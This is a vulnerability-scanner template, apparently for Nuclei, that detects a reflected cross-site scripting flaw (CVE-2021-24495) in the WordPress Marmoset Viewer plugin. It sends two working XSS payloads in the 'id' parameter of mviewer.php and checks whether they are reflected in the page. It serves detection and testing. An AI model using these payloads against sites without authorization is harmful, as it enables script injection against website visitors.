CVE-2021-24495: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting

id: CVE-2021-24495

info:
  name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
  author: johnjhacking
  severity: medium
  description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
  reference:
    - https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
    - https://wordpress.org/plugins/marmoset-viewer/#developers
    - https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24495
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24495
    cwe-id: CWE-79
    epss-score: 0.2694
    epss-percentile: 0.96201
    cpe: cpe:2.3:a:marmoset:marmoset_viewer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: marmoset
    product: marmoset_viewer
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wp-plugin,wordpress,intrusive,marmoset

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - </script><svg/onload=alert('{{randstr}}')>
          - alert(/{{randstr}}/)
        condition: or

      - type: word
        words:
          - Marmoset Viewer

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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